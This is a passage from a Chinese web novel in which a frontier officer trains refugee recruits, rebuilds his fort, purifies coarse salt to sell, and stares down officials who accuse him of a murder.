秦猛平复心头激荡,声线再次转为钢铁般冰冷,压下了沸腾的吼声:“边陲苦寒,活命不易。
想活,就得耕战时拿起锄头,战时抡起刀枪。
一入南河堡,便与堡同生死。欲苟且偷生者——”
他鹰隼般的目光扫过每一个人,停顿了片刻,每个字都砸出清晰的烙印:“吃完这顿饭,立马滚。滚回城寨窝棚,自生自灭,秦某绝不阻拦。
然战时怯阵,临敌退缩,坏我军心堡规者——杀无赦!
冰冷的三个字,配上他那张在火光映照下如同铁铸般毫无表情的脸,以及一旁按刀而立的李山、张富贵等杀气腾腾的甲士,形成巨大的震慑力。
一股实质性的杀气笼罩全场!
“本官被上官授便宜行事之权,可先斩后奏!皇权特许。”
秦猛的声音带着某种残酷的、不容置疑的宣告。“尔等——给老子牢牢刻在心上,莫要忘了。”
场中针落可闻。篝火燃烧的“噼啪”声被无
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限放大。
许多人下意识地屏住呼吸,脸色苍白。
但出奇的是,先前那些犹疑的目光反而渐渐稳定下来,恐惧被一种奇异的安定感取代。
是的,冷酷,但清晰,铁一样的秩序,在这朝不保夕的绝境,反而成为最可靠的支柱。
他们以后不再流浪,不再是等待施舍的流民,而是被纳入一种强悍生存规则的“堡民”。
他们捧着滚烫的碗,望着石碾上那傲然挺立的身影,仿佛迷航的孤舟找到了坚定的礁岸。哪怕这礁岸被冰冷的兵戈所环绕,却有着希望。
“明日始,全体上阵,堡务立规。
张富贵、李山、刘铁柱,分任什长,统辖训练、巡防、守备。
王槐保长总管人事丁口,调度指挥。
李根生领衔匠户,重开匠器作坊,督造铁器兵刃。
王翠花负责裁缝铺,缝补衣袄,皮甲。
诸葛风协助王保长,木匠,泥瓦匠等日后杰出者任命。只要有能力,谋份差事,多份粮饷。”
秦猛雷厉风行,迅速宣布人事安排。
王保长、李铁匠夫妇、张富贵,李山等人一一上前,于火光前肃立领命。
蓝袍书生诸葛风被人推出来,引得众人哄笑。
而这个流民中的穷书生,无疑是最好的案例。让不少人眼里光芒闪烁,好好干,就能被提拔。
秦猛不屑于解释,继续下达最后一条命令:“今夜,尔等吃饱睡好,明日天亮,全军开拔。
壮丁训练备战,劳役拓荒筑寨。
须在雪冻冰封之前,竖起屋宇,圈起田亩。此乃我等新生之基,为家园,为活路,拼了。”
“为家园!为活路!拼了!”
积蓄已久的情绪找到了宣泄口,吼声震天动地。
篝火熊熊燃烧,跳跃的火光中,一张张疲惫的脸庞被希望点燃,爆发出前所未有的光芒与力量。
南河堡沧桑的轮廓,在冲天的火光与呐喊中,如同一头猛兽向着无边暗夜发出了它倔强的咆哮。
界河水声隆隆,似在呼应这片土地上重新燃起的不屈之火。
秦猛望着这浴火重生的景象,深知任重道远。
凛冬未尽,强敌在畔,荆棘满途。
界河冰封之日,必是血战来临之时!
时间,从未如此紧迫!
他目光再次投向北方那无边的黑暗,眼神坚定。瞳孔深处锐利如刀锋,战意汹涌翻腾。
南河堡的新生,才刚刚拉开序幕!
第14章 军堡**
凛冽的朔风刮过这沉寂已久的南河堡。厚重的霜花覆在残破的土墙上,反射着初晨微弱的曦光。
然而,这死寂般的冰冷之下,一头蛰伏的猛兽苏醒了。
天还蒙蒙亮,寒气刺骨。
秦猛,这个曾沉默呆愣的二愣子,如今南河堡的主心骨,如青松般立在打谷场上,身前集结起一支队伍。
李山、张富贵等十多个战兵。
五十多名面色或忐忑、或麻木,刚被招募来的流民青壮。他们衣衫单薄,在寒风中缩着脖子,眼神却因近日难得的温饱和一丝渺茫希望而变得不同。
“列队!”秦猛的声音不高却像重锤砸在凝滞的晨雾里。带着不容置疑的威严。“散开!每人间隔两尺半(约80厘米),前后对正,左右看齐!”
一阵杂乱的挪动。
新来的汉子们显然不明白站个位置有何用,甚至李山等老军汉也难掩眼中的茫然。
这人都他妈快冻僵了,不该抡几趟刀、跑两圈暖和身子吗?
当这群人勉强站成一个歪歪扭扭的方阵后,秦猛亲自走过去拉拽纠正,总算有了一点样子。随后他下达了一个令所有人愕然的命令。
“站着不准动!”
“别看这站立的动作很简单,实际上却很难。这种动作能磨炼你们的意志,增强军队的纪律性。”
秦猛亲自示范。
两脚分开六十度,两腿挺直,紧贴裤缝。收腹、挺胸、抬头、目视前方!
如同一杆标枪,身体重心微微前倾,下颚微收,整个姿态瞬间透出一股不动如山的凝练杀气。
“就这么站着,没有命令,谁动,卷铺盖滚蛋!”
这要求简直是儿戏吗?
站着一动不动就能退敌了?
疑惑的情绪滋生在冰冷的空气中弥漫。
有人悄悄放松肩膀,有人忍不住想跺跺脚上积攒的寒气。但看到秦猛冷冷的目光,无人敢动。
然而,寒意很快被另一种更加深刻的感觉覆盖。
初时还好,只是冷。
几分钟后,最虚弱的汉子开始感觉膝盖酸胀。
一刻钟过去,酸胀变成了酸痛,像有小虫在骨头缝里啃咬,不少人额头竟沁出细密的汗珠——
不是热,是筋肉紧绷到极限的僵冷反应。
身体素质差的人已经双腿哆嗦,咬紧嘴唇坚持着。他们不敢动,因为不想被淘汰驱逐这个吃饱饭的地方,二来主官,秦猛站在那里!
这位军堡管队官,比他们站得更久、更直、更稳!
他额头同样渗出汗珠,脸颊同样因寒冷和用力而显得棱角分明,但那股由内而外迸发出的意志,如同火焰灼烤着每一个动摇的灵魂。
质疑?
轻视?
早已被沉重的身体感受和他以身作则的强悍碾得粉碎。
取代的是惊愕、是羞愧、是对“纪律”二字模糊却沉重的初体验。
秦管队的话,原来真不是空口白牙。
又过了半刻钟,几个人坚持不住,踉跄差点摔倒。却又赶忙并拢双腿,生怕被赶出军堡。
“停,休息一刻钟。”
秦猛看到大多人浑身哆嗦着,心里却比较满意。知道过犹不及的道理,声音适时响起,打破了这濒临崩溃的静默。
人群轰然松懈,发出压抑不住的喘息和呻吟,有人甚至踉跄跌倒。
早有等在旁边的妇人和半大孩子送上温水和糙面饼子。短暂的休整至关重要,能够让他们恢复体力,逐渐适应。
上午剩下的时间,便在“站—休息—再站”的循环中悄然流逝。
每一次重新站起,那方阵都肉眼可见地挺拔了一分,晃动少了一丝。
李山等老兵在内所有人,再看向中途从未休息的秦猛时目光彻底变了,那份敬畏深植于心。
当正午的太阳终于带来稍许暖意,收队的号令响起时,所有人无一例外迈着酸胀颤抖的双腿,脸上却再无半分轻慢,只有下意识的凝重。
无形的力量在他们麻木的身体里扎下了根。唯一的弊端就是刚开始训练,人人饭量激增......
午饭后,训练转向更贴近实用的肌肉放松训练,体能打磨。
慢跑热身,负重奔跑,蛙跳......
秦猛依旧身先士卒,做出榜样训练,激励着兵卒,每一滴汗水都融入这片渴望振兴的土地。
南河堡,打谷场上杀声渐起之时,秦大壮带着铺堡的核心战力镇守燧堡,同样展开严苛训练。
——是秦猛抽时间过去,亦是这般严苛要求。
军堡是真的展开了大练兵!
老保长王槐则负责统筹调度,根据各自的特长,把昨天招募来的流民合理地安置。
堡内器械,粮食入库、支出,特意安排了帐房记录......
叮叮当当——!
铁匠作坊,多处炉火首次燃起,映红了半边天。铁匠们抡锤锻打箭头,火星四溅如烟花,铁蒺藜、枪头,锄头等器具在砧上渐次成型。
隔壁的木匠区,工匠手持墨斗和尺规,精准划线,熟练拉锯。在隆隆的锯木声、刨削声中,箭杆、硬木柄,望楼骨架在刨花中诞生。
缝补区则是一片低伏的火热。数十妇人埋头苦干,她们用粗麻线,块状皮革,修补着破损的皮甲、磨破的军服,针脚藏着安稳期盼。
外堡墙头,泥瓦匠们更是在寒风中争分夺秒。
“豁口!先堵这个豁口!”断砖被快速清理,大块方石垒砌,最让人惊叹的是那几桶冒着热气、散发着米香的糯米浆。
——这是王保长咬牙才拿出的堡里存粮熬成的。
泥匠小心翼翼地将滚烫粘稠的浆糊搅拌进草泥中,仔细灌入砖石缝隙。
那混合着干草与米糊的温润泥浆,如同堡垒流淌的血液,一点点愈合着伤口。
填充之处,不仅更坚固,更透着一股宁舍粮草也保屏障的决绝。
真正的战略大动作在堡外悄然展开。
秦大壮带领几名风尘仆仆的老窑工,在南河堡外隐秘的山坳里,对那几座早已被遗忘的野窑旧址发起了“突袭”。
他们挥汗如雨,清理着倒塌的窑口,疏通烟道。后生们奋力挖取着优质陶土,堆成小山。
破损的窑炉在老
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匠的巧手下,用特调的耐火泥快速修补弥合。
“快,备柴火,阴干泥坯!”秦大壮声音透着急切。
他们要在最短时间内重燃炉火,这不仅关乎日后更大规模的砖瓦烧制来加固围墙、建造砖房,更是重启陶器制造的关键一步。
——没有陶罐,如何大规模存粮储水?没有砖块,没有瓦片,如**持军堡扩建后的防御力?
这重启的窑火,是维持长久战斗力的生命线。
而堡外的荒野上,开垦与建设同样如火如荼。壮劳力在经验丰富的老工匠指挥下,分工协作。
“流民新区”:紧贴峭壁的“葫芦口”地形处,地面被一遍遍泼水、夯实。
一排排简陋但实用的窝棚正以惊人的速度搭建起来。
这不仅是安置点,更是秦猛苦心设计的前沿缓冲区和预警点。
窝棚本身结构巧妙,方便撤离,而其位置使得游骑无法轻易包抄堡垒侧翼,形成“栓住口袋嘴”的关键屏障。
奔腾的南河水此时也变得珍贵。
河滩旁,硬如钢铁的冻土被汉子们用大锤和铁钎艰难地开凿、撬动。
杂树根被刨出,石头被搬走。
当那饱含腐殖质、近乎黑褐色的肥沃土壤显露出来时,引来无数期盼的目光。
一个须发花白的老农蹲在刚开出的地头,抓了一把土在手,仔细捻开,嗅了嗅,又舔了一下。
他眼中放出光:“好土哇!肥得流油,就这天寒地冻的不敢深翻,待开春化冻,一亩喂足粪肥,再引这活水h自流灌溉,收成差不了。”
但也有人忧虑地看着冻土进度:“这冻太厚,破开费老劲了。”
旁边的汉子抹了把汗,嘶吼道:“豁出命也要开,这开出的,可是活命的根本,明年的指望!”
“秦大人有令,收集**树叶铺满烧,好清理一些。”王老保长带人送水,也带来好消息。
……
短短几日,南河堡已气象焕新,令人瞠目:
堡墙不仅加固增厚,原有残破的箭楼已修缮完毕,木石狰狞。
更显眼的是那几座拔地而起的新望楼骨架坚实,傲然耸立。立于其上,荒原尽收眼底,任何风吹草动都难逃法眼。
堡内喧闹异常,人气鼎沸。
清理出的铺屋挤满了流民,门窗紧闭的空荡屋子如今也飘出了烟火气和人声。
铺屋尽管勉强容纳核心人员,但却依托堡垒外墙,大量茅草窝棚也成了干柴草料等物资堆放点。
除了铁匠作坊,木工坊两大核心工坊。几天来,花炮师傅范良被秦猛看重,如璞玉般对待。
不仅给出优厚待遇,更是严格划出僻静角落,这位老师傅带人在小心地分碾土硝、硫磺和木炭……
年轻大夫唐博,这位祖上是太医院医官的小伙子,也被秦猛重用任命为军堡医官,任由他挑选人员,组建南河堡医疗所,在治病救人。
除此之外,泥瓦匠,砖窑场,种植,饲养,酿酒等方面陆续有优秀人员涌现,跃升军堡基础管理层,领着各小组人员,奋斗在第一线。
……
第15章 危机中的商机
十一月,初。
北风卷着沙砾呼啸而过,南河堡的寒意又添了三分。
天刚蒙蒙亮,军堡营地的号角便撕裂了晨雾。
“集结,列队!”
“报数——一,二,三,四……”
数十名军卒在营地校场上迅速列阵。
刘铁柱身着劲装立于队前,厉声纠正着队列细节。
这支曾连左右都分不清的队伍,如今脚步声踏得地面微微发颤,队列齐整间已显军伍气象。
人人挨打,个个加练,令他们有动力的是,每日饱食让他们面色红润,灰色冬装外罩着厚重皮甲,昂首迎风而立时,再无流民的颓态。
——真正有了军卒的模样。
南河堡军队老兵三十余人,新兵七十,共百人。
按三队轮值,白日操练、夜间执勤。
秦猛融合前世经验与冷兵器时代特点,定下严苛章法:上午列阵出操,下午体能训练与搏杀对战。
他特意挑出刘铁柱、张富贵等十余人做亲兵,亲自传授搏杀技巧,再由亲兵转教普通军卒与少年队。
少年队是十岁以上的半大小子组成。
(这古代男女结婚早,十四五岁成家并不罕见)
营内终日回荡着呼喝声,彻底取代了往日戍卒的懒散。
前沿烽燧堡也已焕然一新。
匠人带队修缮后,烽台更高更坚,瞭望台添了挡风屏障,堡墙加固,坡下遍布铁蒺藜陷阱。
三十余名军汉铁甲铿锵,哨兵立于瞭望塔上,目光如鹰隼般紧盯着河对岸。
即便是日常训练,也未有半分松懈。
“吃饱穿暖,谁偷奸耍滑,别怪本将无情!”坐镇燧堡的秦大壮,这话至今在风中回荡。
堡垒的变化有目共睹,但背后是资源的海量消耗。堡内六百多张嘴(原住民、流民、新兵及家眷)每日消耗粟米、豆子不下三十石。
军堡粮仓压力如巨石压顶。
幸得常氏粮行的车队冒着寒风霜路,以惊人的效率往来补给,运来的还有铁锭、棉花等物资。
精明的常东家会额外送几头肥猪,这足以让整个堡内弥漫起久违的油荤香气,士气为之一振,流民们归属感渐增,训练,干活更加卖力......
然而,秦猛站在这经过亲手改造、一天比一天坚固的堡墙上,最初的兴奋早已被压力取代。
军堡内外,这副生机勃勃的景象,是他自掏腰包,用海量的银钱、物资和粮食堆砌起来的。
巨额的消耗如同无底深渊。
他终于明白,为何知寨官宁愿看着军堡残破,也不投入修缮,这就是一个吞噬财富的黑洞。
没有朝廷拨款项,个人有心无力。
这亏得是他秦猛做了一票买卖,才有些家底。
每日三十石粮,仅仅是冰山一角!
铁匠铺消耗的铜铁,木匠房优质箭竹,木材、泥瓦匠修缮所需(粘合砖石最有效的糯米浆)
窑场需要的器械,煤料。
开荒时铁锹锄头等工具损耗,开春所需的种子。
招募的工匠、士兵、劳力,安家费、后续的月钱。
士兵的训练更是消耗大户,人人肚皮如通到了界河,飞舞的箭头损耗等,通通都是钱呐!
从刘德才密室缴获的金银珠宝,曾让他血脉偾张,兴奋一阵子,如今却如阳光下消融的冰山。
消耗远快于补给,不,是只出不进。
这样下去的结果,一个极其残酷的现实摆在眼前:
坐吃山空!
现实如悬顶之剑!
没有持续的财源,眼前辛辛苦苦聚拢起来的力量,顷刻间就会土崩瓦解,比**的刀锋更快地杀死他所有的希望。
“赚钱,赚大钱。立刻,马上!”
秦猛攥紧拳头,压力如山催逼,他的大脑急速运转。
在这穷山恶水的边疆,强敌环伺,能快速见效的合法暴利行当何其稀少!
最终他锁定在两样东西上。
盐和酒!
盐,尤其是精盐,等同白色黄金!
大周王朝,最顶级的‘玉华盐’、‘霜花盐’则专贡皇室勋贵,粒细洁白如霜雪,市面上,千金难求。
当下市面上流通的,多是粗盐,甚至是连“粗盐”都算不上的“苦盐”。
这种苦盐,味极苦涩,须自行研磨、淘洗,其中混着沙砾、泥土乃至有毒矿物质,方可使用。
即便是边军供给的盐巴,也是杂质较多的粗盐。可想而知百姓的用盐,是非常有搞头的。
“若,若能提纯一下这些粗盐,做成近似‘雪花盐’的东西......”
秦猛心脏不受控制地猛跳起来。利用军堡之便、利用常九的商路脱手。
低买粗盐,高卖精盐。
这是暴利,其中的利润将是恐怖的。
酒,同样是个财源门路。
大周市面上流行的,不过是类似甜醪糟汁的米酒、黄酒,喝起来甜甜的,顶天了也就十来度,浑厚谈不上,更别说驱除严寒的烈酒。
蒸馏技术似乎还不存在?
至少秦猛这边疆从未见过。记忆中简陋的蒸馏设备并不难搞。
只需耐高温的器皿、锡或铜制的引导管、冷凝池就行。高度数白酒有难度,但先小批量产出一些三十度左右的“蒸烧酒”绝对没问题。
这种酒精度适中,香气也更浓郁集中,对于冰天雪地里劳作的边民、常年守卫边关的将士,绝对是梦寐以求的驱寒佳品,绝对能畅销。
“必须立刻动手!”
秦猛眼中精光爆射,想到就做。
蒸馏器具比较麻烦,需要找作坊师傅们合计合计。过滤盐、熬煮就相对简单,他开始制精盐。
营地校场上,刘铁柱领着四十多军汉站军姿。
而在另一侧的水井旁,秦猛则带人忙碌起来。
营地里本就有土灶,数口大铁锅架上,十几个大木桶,及木匠赶制的奇巧漏斗装置并排而立。
灶台连带着紧挨的铺屋,被秦猛选定为作坊。
大堆灰黄粗盐堆在角落,这是苦盐。
盐块上沾着泥沙,凑近便有股苦涩刺喉的杂味。
“锤碎盐块,注水搅拌!”
随着秦猛的吩咐,军汉们抡起石锤将盐块砸成碎粒,投进巨桶里,注水搅动,顷刻间便成了浑黄浊浆。
秦猛又令撒入碎木炭末,众人持长棍大力翻搅,让木炭充分吸附盐浆中的杂质与毒素。
“起!”秦猛亲自督阵,几名健壮军汉合力抬起沉甸甸的浊浆桶,小心倾入一旁的特制木桶。
这木桶内藏玄机:底层铺着纱布,其上厚逾
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拳的洁白细沙,再上面覆着寸许焦黑碎炭,复铺一层更细的白沙,又叠一层木炭块,最顶端盖着蓬松的干茅草,层层叠叠如精密筛网。
浑黄的盐浆缓缓渗入桶中,先经茅草滤去浮尘草屑,再透细沙筛除泥沙,木炭层贪婪吸尽杂味毒素,最终穿过桶底的纱布,滴落的竟是澄清透亮的盐水!
这般过滤反复数遍,桶中便积起了清亮的浓盐水。秦猛用手沾了一点放入嘴中,味道齁咸,没有苦涩的杂味,看来,不用添加热豆浆。
“静置澄净,入锅熬煮!”秦猛脸上浮现笑容,这种过滤方法省了一笔钱,他一声令下。
清亮的浓盐水被小心舀入巨锅。灶下烈焰熊熊,舔舐着铁锅底部。周围温度急速升高,热浪被风吹着飘向操场,暖和了站军姿的戍卒。
咕咚咕咚,铁锅里盐水翻腾着。
水汽蒸腾间,锅沿渐渐凝出细密的盐晶体。
待水被熬干,锅面,锅底余下的竟是细若初雪、洁白晶莹的精盐,晶莹剔透,毫无半分杂质。
“老天爷!这…这是盐?”围观的军汉们瞬间哗然,满脸难以置信。
李山瞪大了眼睛,他是亲自操作,把苦盐敲碎注水的。顾不得烫,忍不住捻起一撮送入口中,
“嘶——!”纯粹的咸鲜瞬间在舌尖炸开,竟无半分往日粗盐的苦涩,他惊得说不出话来。
“这是玉华盐?”
“化腐朽为神奇,这简直是点石成金啊!”闻讯赶来的张富贵失声惊叹,望向秦猛的目光里满是震骇。
那等污秽不堪的粗盐块,竟真能变成这般琼浆玉屑般的好物?
“盐?真是盐。”围观众人尽皆倒吸凉气,看向秦猛的目光中,敬畏与炽热交织,宛如仰望神祇。
秦猛却面色肃然,他深知这制盐之法在落后时代的分量,厉声传令:“都给我记好了——
此乃军堡根本,一等机密!
从即刻起,凡是参与制盐者三人互监,不得私匿、不得泄密。
工坊增设哨卡戍守,无令擅入者斩。
凡妄议此法、泄密于外人者,拔舌断筋,弃堡外喂狼!”
“守口如瓶,违令者,军法无情!”
李山与张富贵应声附和,目光如电扫视众人。
“是!”众军汉皆肃然应声。
他们虽心头惊惧,却更震撼于自家大人的惊人手段。
这座设立在营地边缘的制盐作坊,从此便成了军堡最核心的禁地,守护着关乎生存的秘密。
秦猛吩咐军汉继续制盐,又想起酒这个事情,打算去找老保长王槐,分派人手准备所需之物。
然而,不等他动身,老头却找来了。
急促的脚步声响起,王槐脸色阴沉地迎面走来,语气凝重无比:“秦管队,刘家…来人了!”
秦猛眼神瞬间冷冽如冰霜:“谁?”
“刘德才的嫡亲兄长,幽州府漕运司判官刘德福。缉捕使臣,皆是官身,带了......一队衙役!
“哼,那让他们等着。”秦猛神色很快恢复如常,上前搀扶老保长,来到一口置凉的铁锅前。
“保长,您看看我这盐好不好?”
“我打算招一批盐工,您老看看谁老实肯干?”
“您推荐一批,要信得过的人!”
第16章 对峙起锋芒
刀子似的寒风刮过秦家新砌的院墙。
刚升任管队官的秦猛,地位早已天翻地覆。
堡子中心的官署值房正由王老保长带人修缮。
连他家小院,张富贵、李铁匠也主动帮忙清扫修缮。
谁都没想到,这刚收拾利落的小院,此刻却寒气森森,空气仿佛冻结。
十几个府衙官差攥紧刀柄,钉桩般立在院中,面皮绷得像铁板。
对面,李山领着七八个戍堡军汉,鹰隼似的目光毫不退让,双方隐隐对峙,**味弥漫。
边上牛棚里面的战马变得安静,默默吃着草料。不时抬头看一眼又很快伏首,它怕极了。
堂屋里的气氛更是剑拔**张!
秦猛稳坐主位,脊背挺直,一股凛然不可犯的煞气充盈周身。
客位上:
左边坐着南河城寨的李副将,铁鳞甲在昏光中泛着冷硬。他代表南河城寨而来,陪同查案。
右边并排二人:头一位是幽州府七品缉捕使臣杨诚,青袍罩轻甲,眼神如**,直往人心底扎。
另一位白白净净却透虚浮的,同样身穿青袍,腰间却刺目地系着条白绫。
——死者刘德才的亲兄,漕运司转运判官刘德福。
刘德福双眼红肿,面色阴沉,一双饿狼般的眼睛死死剜向秦猛,眼中的恨意毫不掩饰。
秦猛面无表情,实则在心里嘀咕!难道自己留下什么痕迹被人发现,才会导致对方这般仇视?
其实是刘德福得了凶讯,赶回奔丧,经调查,得知兄弟抢占别人军功田,得罪了边境丘八。
他觉得近来结仇的秦猛嫌疑最大。便请来好友杨诚直扑这小南河堡,誓要为弟“讨公道”。
杨、刘身后,几个缉捕都头手按刀柄,凶神恶煞。
“秦管队!”刘德福的声音像是从牙缝里挤出。裹着压不住的狂怒,“我弟弟刘德才和他儿子深夜惨死南河镇宅中,这事…你清楚吗?”
“哈哈哈!”秦猛突然仰天大笑,震得灰尘簌簌下落。
“清楚?这简直是天大的喜事!刘扒皮那祸害遭了天谴,可算**!得知时,大快人心呐!”
他揩了揩眼角笑出的泪,语气轻松得刺耳,“那日堡里人人欢天喜地,我高兴得都多吃了两碗干饭!”
“你——!”刘德福脸上血色瞬间褪尽。圆润的身体“腾”地弹起,手指哆嗦如风中落叶。
他喉咙咯咯作响,却硬是气堵得说不出囫囵话。
“咦?”秦猛故意拉长音调,斜睨着他。
“刘大人如此激动,莫非…哦!”他猛然一拍脑门,浮夸地端起茶杯赔礼:“哎呀,刘大人勿怪,瞧我这记性,忘了那刘德才是您亲兄弟…”
话音未落,秦猛脸色已“唰”地冰寒,声音似北风刮骨。
“刘判官!你当哥哥的,怎么不约束兄弟?任其在乡里作恶,欺男霸女,落个‘扒皮’的臭名!招来杀身之祸,你这兄长,难辞其咎!”
“噗——!你、你休要血口…”刘德福浑身筛糠,唇色青紫,指着秦猛,想骂却说不出话来。
杨诚见状,一把将刘德福按回凳子上,毒蛇般的目光紧盯秦猛:“秦管队!废话少叙。
经我查实,你与刘保正素有旧怨。他一家被害,是否与你有关?”
冰冷的官威带着质问,如冰水浇头。
“哼!”秦猛脸色一沉,“砰”一声将茶杯重重顿在桌上,反唇相讥:“杨缉捕,你不过地方抓**贼的七品武官,也配如此喝问戍边管队官?”
他眼神陡然锐利如刀,厉声反诘,“空口白牙就想栽我一个‘嫌犯’的脏名?照你这法子。
本官看你印堂发黑,眉带煞气,此面相不是穷凶,就是极恶,是否这血案…你也脱不得干系?”
“放肆!休得胡言乱语!”杨诚被顶得脸色血红复转铁青,目眦欲裂。
“胡言?我看是有人存心构陷!”秦猛冷笑抱臂。
“既无实证,就敢上门发难。名义上询问,实则栽赃陷害。行!从现在起,本官一字不答。免得被你等拿捏语病,硬扣一顶‘凶手’的帽子。”
他无所谓地耸耸肩,摆出不合作姿态。
“你…”杨、刘二人气得胸如风箱。
眼看僵局难破,一直闭目养神的李副将陡然睁眼,目光如电扫过杨诚:“杨缉捕,办案自有法度章程。有铁证,便行文帅司按律捕人。
若无证据,那就请遵法查案。想在这边堡之地,行恫吓威逼之举。在这幽州边陲,不好使!”
他声音陡然拔高,带着金戈撞击般的冷硬,又转向刘德福,更不客气:“刘判官,你乃苦主亲眷,律法当避嫌。从现在起,闭口为妙!”
李副将敢如此硬气,倚仗的正是大周铁律:
边陲驻军是军事重地,边堡戍卒隶属军籍,州县衙署无权擅审擅捕。须行文边军帅司或所在城寨,铁证如山方可拿人,否则便是蔑视军威。
这铁律护身符,正是秦猛握在手中的根基依仗。
“秦管队,”李副将转向秦猛,语气稍缓,“魏知寨有令,有问照实答便是。大周朗朗乾坤,自有律法明鉴,无人可构陷忠勇将士。”
“是,李将军。”秦猛顺坡下驴,拱手应下。再看向杨诚时,脸上已只剩不耐,“你有话快问!本官要带队巡视,军务繁重,没空闲耗!”
“你…”杨诚被那个刺耳的“你”字激得眼底冒火,却不敢发作,强忍怒气,按流程问询:“秦管队,刘德才遇害一事,你是否知情?”
秦猛双手交叠置于腹前,神情平静如深潭。
“知情。此獠伏诛,秦某甚慰。”
他回答得正式,字字却如刀剐刘德福的心,“彼时消息传开,堡中军民,无不拍手称快!”
刘德福身体抖动着,眼缝里寒光暴射。
杨诚面色一僵,急问:“案发前后,堡中可有异常?或是有无…人员外出前往南河镇?”
“异常?”秦猛嘴角勾起一丝若有若无的弧度,“堡里刀兵之地,天天有**探马像鬼影般侵扰,算不算异常?
堡中老幼,谁不是恨不得日夜缩在堡墙内保命?谁敢拿性命冒险外出?”
他身体微微前倾,目光如炬锁定杨诚,“当日夜晚,我本人正在堡外狩猎,追猎**探马,林中激斗痕迹犹存。
堡内百姓、城外常家商队的李管事皆可佐证。天色欲晓,与
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秦队将携**首级赴城寨报功。
半途却还遇巡检司那帮宵小意图截功夺利。此事…想必杨缉捕怕是在城寨已‘查’过了吧?!”
他特意重咬了“查”字。
“不错!”李副将立刻接话,声若洪钟,“斩获**九级。时间、地点、证人,城寨功勋文书铁证如山。巡检司官兵亦可印证好,
此前在南河城寨,他已查验过记录,亦详询过守堡军士!”这番话既是陈述事实,又是对秦猛说的,更是对杨诚的严厉敲打,警告。
——你的调查早已确证秦猛不在场。
“那……”杨诚暗自咬牙,眼珠急转,忙换方向:“据查,秦管队与刘保正,似乎积怨已久?”
“没有,从未见过。”秦猛断然否认,斩钉截铁。
“你放屁!”刘德福再也压抑不住,尖声嘶叫,“你分明欠我弟弟一百二十贯赌债,他带人上门讨要,无钱还债不说,你还行凶伤人,是一庄客打晕了你,几天后,他就…全家都……”
说“全家”二字,刘德福刻意带上哭腔。
“啧啧啧,好一个上门讨债。”秦猛等的就是这句,立时发出刺耳冷笑,“几日前,我秦猛还是个痴症之人。浑噩度日,只识妻妹。
路人尚且分不清。敢问刘判官——”
他身体前倾,极具压迫感地逼视刘德福,“刘判官,你告诉我。这样一个痴傻之人,如何知道入赌坊耍钱?又如何欠下你家天价赌债?”
“此事本将亦有耳闻。”李副将适时神助攻,语气铿锵,“南河城寨数度核查,秦管队前评皆是‘痴症无状’。故其一直未萌补入军籍,更兼——”
他转向刘德福,目光如刀,“本将依稀记得,据本朝律令,痴症者所欠赌债,一概作废。”
“这…这是……”刘德福眼珠瞪得滚圆,张着嘴,如同岸上濒死的鱼,噎得说不出完整句子。
杨诚心中警铃大作,正欲设法圆场。
秦猛岂会给他喘息之机?乘胜猛追,矛头直指二人核心:“哼!我看这所谓的‘赌债’,纯粹是你刘家罗织构陷,图谋我秦家祖传宝物。
至于你刘德福,没有半分证据,至此搅闹。与刘德才无异,名为查案,实则意图污蔑栽赃。”
“荒谬!休要诬蔑…”刘德福面如猪肝,只剩下苍白的辩驳。
“砰——!”秦猛猛然一掌击在桌面,茶杯震得跳起老高。
他“霍”然起身,本就魁梧的身躯裹挟着凛冽战场煞气骤然爆发。宛若猛虎出匣,煞气盈堂。
那双淬了冰锋的眼睛狠狠剐过刘德福那张煞白的胖脸,随即死死钉在杨诚脸上,声音如寒铁刮过冰面:
“尔等若真有铁证,能证我秦猛与此案有半分牵连,大可立报朝廷,行文帅司,锁拿便是!”
他语速猛地一沉,每个字都像从冰窟中捞出:
“若无凭证…就请诸位——打哪儿来,滚回哪儿去!”
最后一句,音量并未拔高,却带着不容置疑的冰冷杀伐之气。他环视全场,嘴角缓缓咧开,露出一个近乎残酷的、野兽噬人的锋利弧度:
“若敢再在此地无凭攀咬,休怪本官无——情——!”
第17章 旧债当堂讨
“休怪本官无情。”
轰!六个寒冰铸成的字,沉沉砸在死寂的堂屋。
秦猛如山屹立,煞气逼人,冰冷的目光锁死杨、刘二人。那凛冽的杀意仿佛冻结了空气,在室内无声奔涌。
李副将眼底掠过惊异,此等气势绝非普通武官所拥有!
杨诚面色铁青,被那股煞气所慑,脚下如同生根。
“休怪本官无情”几个字如铁锤,狠狠撞在刘德福心口。
他脸色由青转白,由白变灰,身躯不可抑制地微微颤抖。
一个区区边堡管队官,不入流的武职。
竟敢如此咆哮他这位州府的实权判官?
不仅全盘否认,反咬一口,更是当众出言威胁。
“反……反了!你敢威胁上官?反了?”
刘德福唇齿哆嗦,手颤抖地指着秦猛,声音尖厉变形。
“反了?我看要反的是你!”秦猛非但不退,右掌闪电般扣紧腰间**刀柄。嘴角牵起一丝冻入骨髓的冷笑:“刘大人。睁大你的眼睛看清楚。”
“这、里、是、小、南、河、堡!”他一字一顿,声音压得低沉却更慑人,“是拿血肉堵**铁蹄的边塞军堡,不是你州府衙门的文雅内堂!”
“放肆!”刘德福眼角几乎瞪裂。
身后缉捕齐声厉喝,“锵啷”一片脆响,手按刀柄,齐齐踏前一步!
“狗东西!活腻了敢在这儿撒野?”秦猛身后,没神班的张富贵甩脸喝骂,拔出剔骨尖刀。
几乎同时,秦猛左手“唰”地抖出一份文书摔在桌案:“帅司行文在此,本官身负守土之责。”
“命案证据何在?单凭你刘德福上下两片嘴皮子,就想构陷战功边将?就敢锁拿朝廷命官?”
他目光如刀,割裂刘德福强撑的官威,声音转冷:
“没有确凿证据,就上门抹黑,栽赃,尔等行径,无异构陷戍边将士。严重妨害边防军务,本官能忍——”
他声音陡然拔高,震得屋瓦嗡鸣:“这南河堡常年与**血战余生的军民——却忍无可忍!”
最后一句,如同巨石落地,彻底砸碎了刘德福脸上最后一丝血色。
院外人影晃动,愤怒的骂声,杀声交织在一起。
眼前这尊煞神,目光冰冷,威压如山。
此刻,刘德福只觉得一股刺骨寒意从尾椎直冲天灵盖。
强行动手?
在这刀尖舔血的孤堡绝地?后果……不堪设想!
呜——呜——
寒风穿墙过隙,呜咽如诉。
“咳……刘判官爱弟心切,言语或有不当,还望秦管队海涵……”杨诚干咳一声,挤出生硬笑容打圆场。
“不当?”秦猛冷嗤一声,目光如电扫回刘德福,“那日刘扒皮率众强闯我宅,劫掠粮秣财物,重伤我及妻妹。
若非天意,秦某此刻怕已尸骨早寒。”
他嘴角勾起一个毫无温度的弧度,“刘大人,你说,刘德才暴毙,我该不该拍手称庆?”
